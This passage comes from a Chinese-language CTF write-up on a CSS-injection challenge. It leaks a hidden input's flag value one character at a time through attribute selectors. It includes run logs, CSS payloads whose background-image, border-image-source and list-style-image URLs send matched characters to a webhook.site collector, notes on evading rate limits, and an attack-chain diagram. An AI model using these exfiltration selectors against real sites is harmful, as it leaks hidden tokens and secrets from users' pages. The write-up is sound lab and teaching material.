• if "hb" in hits：心跳只会在”一条候选都没命中”时生效， 所以它出现就说明flag 已经结束（或者下一位是不在字符集里的字符）。

9.1 关键运行日志（节选）#

1
[token] 97dfa64a-1194-41c2-8df7-fa06a13d7435
2
resume prefix: 'NSSCTF{dd529c21-399e-4'
3
[22] NSSCTF{dd529c21-399e-4e
4
[23] NSSCTF{dd529c21-399e-4eb
5
  step 24 attempt 0: loaded=False hits=set()
6
[token] 0ccdb1a7-c10d-4f6f-8566-587abc3196d8
7
[24] NSSCTF{dd529c21-399e-4eb2
8
[25] NSSCTF{dd529c21-399e-4eb2-
9
[26] NSSCTF{dd529c21-399e-4eb2-8
10
...
11
[42] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce
12
[43] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}
13
FLAG: NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}

（loaded=False 的几行就是 token 配额用满的时刻，脚本自动换了新 token 继续。）

9.2 为什么又多跑了第 44 位#

收到 } 之后我做了个”全等校验”，结果发现一件事：[value="完整flag"] 不命中。 说明属性值在 } 后面还有东西。继续爆破第 44 位，得到的是换行符 \n。 对应到 flag.html 的源码，它的 value 很可能是跨行写的，比如：

1
<input name="flag" type="hidden" value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}
2
"/>

HTML 会把这个换行原样保存在属性值里，所以选择器要用 [value="flag{...}\a "] （\a 就是换行的 CSS 转义）才能全等匹配。

9.3 最终校验#

一次性发三条规则（注意顺序）：

1
/* 1) 对照组：不带换行，应该不命中 */
2
input[type=hidden][value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}"] ~ input[type=submit]{
3
    background-image:url(https://webhook.site/<uuid>/g/CTRL-no-newline) }
4

5
/* 2) 待验证：结尾带一个换行 */
6
input[type=hidden][value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}\a "] ~ input[type=submit]{
7
    background-image:url(https://webhook.site/<uuid>/g/EXACT-with-newline) }
8

9
/* 3) 心跳，兜底 */
10
input[type=hidden] ~ input[type=submit]{
11
    background-image:url(https://webhook.site/<uuid>/g/HB) }

日志：

1
.../g/EXACT-with-newline

只有”带换行”的那条命中，说明属性值就是 flag + 一个换行，flag 本体确认无误：

1
NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}

10.1 data: URL 直接内联 CSS 被浏览器拦掉#

想法：用 ?css=data:text/css,@import url(https://my.host/x); 省掉托管。 实测没有任何回调。原因通常是浏览器对 data: 类型的样式表有安全限制（不同版本策略不同）， 这条路在本题环境里走不通。

对策：老老实实用一个能自定义内容的公网服务（webhook.site）托管 CSS。

10.2 MIME 类型不对，样式表被静默忽略#

一开始我用 curl 的 -d 传 JSON，参数没生效，返回的 default_content_type 仍然是 text/plain。 text/plain 的响应会被浏览器以”非法的样式表 MIME”拒绝，表现为永远收不到任何回调。

对策：确保 Content-Type: text/css，并在发布 payload 之后先自己 curl -i 一下确认返回头。

顺便一提，Windows PowerShell 里 curl 是 Invoke-WebRequest 的别名， 参数语法和多行 JSON 都会被搞乱——要用 curl.exe。

10.3 webhook.site 免费 token 有请求配额（本次最大的坑）#

现象：爆破到第 22 位时，突然连心跳都没有了，连续三轮抓取完全没有日志。

排查过程：

1. 先确认爬虫是不是挂了 → 用最简单的 body{background-image:url(.../ping)} 试，仍然没日志；

2. 直接 curl 一下 webhook 地址，返回：

   1
   HTTP/1.0 429 Too many requests
   2
   Error: Request limit exceeded. Sign up to unlock more requests.

   原来是 token 的请求数用满了（免费额度很低，每轮要消耗”下载样式表 + 回显”两次请求）。

对策：脚本里加入自动换 token：每轮的时间戳标记对不上（样式表没被下载）就 POST /token 换一个新的。

10.4 偶发丢回显#

几次出现”这一轮什么都没收到”但下一轮又正常，属于靶机/网络抖动。

对策：重试机制 + 每轮唯一轮次号（保证不会把上一轮的迟到回调算到这轮头上）。

10.5 一次抓取只能拿一个字符，速度慢#

每次抓取大约 10 秒左右（无头浏览器启动开销大），44 位大约跑 8~10 分钟。 这也是为什么”每次抓取把所有候选一次性列全”很重要——把 95 次尝试压缩成 1 次。

11.1 二分爆破可行吗？#

不划算。 二分查找每确定一个字符需要 log2(95) ≈ 7 次”条件判断”， 而每次条件判断都要重新派一次爬虫（约 10 秒）。也就是说 44 个字符要 300 多次抓取， 比现在（44 次）慢一个数量级。

判定型盲注真正要压缩的不是”试几个候选”，而是”每次抓取能拿回多少 bit”。 当前方案一次抓取就把”这一位是什么字符”（≈6.5 bit）拿到了，已经接近该方案的上限。

11.2 真正有效的优化：一次抓取泄露多个位置#

瓶颈在于”同一个元素、同一个属性只能有一个生效值”。但我们可以在同一个元素上使用多个会发请求的属性， 让每个属性负责一个位置的判断，例如：

1
/* 第 0 位放在 background-image 上 */
2
input[type=hidden][value^="f"] ~ input[type=submit]{ background-image: url(".../p0_66") }
3

4
/* 第 1 位放在 border-image-source 上 —— 和上面互不干扰，可以同时生效 */
5
input[type=hidden][value^="fl"] ~ input[type=submit]{ border-image-source: url(".../p1_6c") }
6

7
/* 第 2 位放在 list-style-image 上 */
8
input[type=hidden][value^="fla"] ~ input[type=submit]{ list-style-image: url(".../p2_61") }

再配合 [value^=...] [value$=...] 等不同条件，理论上一次抓取可以并行确定好几位。 不过要注意每个属性的候选集合仍然是”一次只能选一个”，实现复杂度会上升不少。

11.3 还可以考虑的方向#

• 换用没有请求配额、带批量查询 API 的收集端（自建 VPS / requestbin 自部署）；
• 让爬虫复用同一个浏览器实例（如果靶机能接受多个 URL 参数）以减少启动开销；
• 用 @font-face + unicode-range 之类的技巧做”按字符批量判断”，但对属性值场景收益有限。

13.1 本题用到的 CSS 语法#

13.2 本题用到的接口#

13.3 整个攻击链图示#

1
   我（攻击者）
2
     │  1. PUT CSS 到 webhook.site（内容随轮次变化）
3
     │  2. POST css=https://webhook.site/<uuid>/c<轮次>  →  /crawl.html
4
     ▼
5
  靶机（127.0.0.1:60000 内网服务 + 无头浏览器）
6
     │  3. 浏览器访问 flag.html?css=https://webhook.site/<uuid>/c<轮次>，下载我们的 CSS
7
     │  4. 执行 CSS：
8
     │       - input[type=hidden][value^="已猜前缀+候选"] ~ input[type=submit]
9
     │         → 命中则请求 https://webhook.site/<uuid>/g/<轮次>/<候选hex>
10
     │       - 一条都没命中则请求 .../g/<轮次>/hb
11
     ▼
12
  webhook.site 记录请求日志
13
     │  5. 我轮询日志，读出命中的候选字符，拼到前缀上，回到第 1 步
14
     ▼
15
  44 次循环后得到：NSSCTF{xxxxxxxxxxxxxxxxx}